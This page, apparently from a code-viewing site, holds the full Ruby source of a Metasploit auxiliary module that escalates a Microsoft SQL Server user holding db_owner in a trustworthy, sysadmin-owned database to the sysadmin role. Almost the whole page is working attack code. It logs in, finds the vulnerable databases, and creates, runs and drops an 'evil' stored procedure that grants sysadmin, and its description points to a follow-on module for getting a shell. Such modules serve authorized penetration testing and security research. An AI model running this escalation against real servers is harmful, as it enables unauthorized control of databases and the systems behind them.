Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::OptionalSession::MSSQL89def initialize(info = {})10super(update_info(info,11'Name' => 'Microsoft SQL Server Escalate Db_Owner',12'Description' => %q{13This module can be used to escalate privileges to sysadmin if the user has14the db_owner role in a trustworthy database owned by a sysadmin user. Once15the user has the sysadmin role the msssql_payload module can be used to obtain16a shell on the system.17},18'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],19'License' => MSF_LICENSE,20'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]21))22end2324def run25# Check connection and issue initial query26if session27set_mssql_session(session.client)28else29print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")30if mssql_login_datastore31print_good('Connected.')32else33print_error("Login was unsuccessful. Check your credentials.")34disconnect35return36end37end3839# Query for sysadmin status40print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")41user_status = check_sysadmin4243# Check if user has sysadmin role44if user_status == 145print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")46disconnect47return48else49print_status("You're NOT a sysadmin, let's try to change that")50end5152# Check for trusted databases owned by sysadmins53print_status("Checking for trusted databases owned by sysadmins...")54trust_db_list = check_trust_dbs55if trust_db_list.nil? || trust_db_list.length == 056print_error('No databases owned by sysadmin were found flagged as trustworthy.')57disconnect58return59else60# Display list of accessible databases to user61print_good("#{trust_db_list.length} affected database(s) were found:")62trust_db_list.each do |db|63print_status(" - #{db[0]}")64end65end6667# Check if the user has the db_owner role in any of the databases68print_status('Checking if the user has the db_owner role in any of them...')69dbowner_status = check_db_owner(trust_db_list)70if dbowner_status.nil?71print_error("Fail buckets, the user doesn't have db_owner role anywhere.")72disconnect73return74end7576# Attempt to escalate to sysadmin77print_status("Attempting to escalate in #{dbowner_status}!")78escalate_status = escalate_privs(dbowner_status)79if escalate_status80# Check if escalation was successful81user_status = check_sysadmin82if user_status == 183print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")84else85print_error("Fail buckets, something went wrong.")86end87else88print_error("Error while trying to escalate status")89end9091disconnect92return93end9495# Checks if user is already sysadmin96def check_sysadmin97# Setup query to check for sysadmin98sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"99100# Run query101result = mssql_query(sql)102103# Parse query results104parse_results = result[:rows]105status = parse_results[0][0]106107# Return status108return status109end110111# Gets trusted databases owned by sysadmins112def check_trust_dbs113# Setup query114sql = "SELECT d.name AS DATABASENAME115FROM sys.server_principals r116INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id117INNER JOIN sys.server_principals p ON118p.principal_id = m.member_principal_id119inner join sys.databases d on suser_sname(d.owner_sid) = p.name120WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"121122result = mssql_query(sql)123124# Return on success125return result[:rows]126end127128# Checks if user has the db_owner role129def check_db_owner(trust_db_list)130# Check if the user has the db_owner role is any databases131trust_db_list.each do |db|132# Setup query133sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user134from [#{db[0]}].sys.database_role_members drm135join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)136join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)137where rp.name = 'db_owner' and mp.name = SYSTEM_USER"138139# Run query140result = mssql_query(sql)141142# Parse query results143parse_results = result[:rows]144if parse_results && parse_results.any?145print_good("- db_owner on #{db[0]} found!")146return db[0]147end148end149150nil151end152153def escalate_privs(dbowner_db)154print_status("#{dbowner_db}")155# Create the evil stored procedure WITH EXECUTE AS OWNER156evil_sql_create = "use #{dbowner_db};157DECLARE @myevil as varchar(max)158set @myevil = '159CREATE PROCEDURE sp_elevate_me160WITH EXECUTE AS OWNER161as162begin163EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''164end';165exec(@myevil);166select 1;"167mssql_query(evil_sql_create)168169# Run the evil stored procedure170evilsql_run = "use #{dbowner_db};171DECLARE @myevil2 as varchar(max)172set @myevil2 = 'EXEC sp_elevate_me'173exec(@myevil2);"174mssql_query(evilsql_run)175176# Remove evil procedure177evilsql_remove = "use #{dbowner_db};178DECLARE @myevil3 as varchar(max)179set @myevil3 = 'DROP PROCEDURE sp_elevate_me'180exec(@myevil3);"181mssql_query(evilsql_remove)182183true184end185end186187188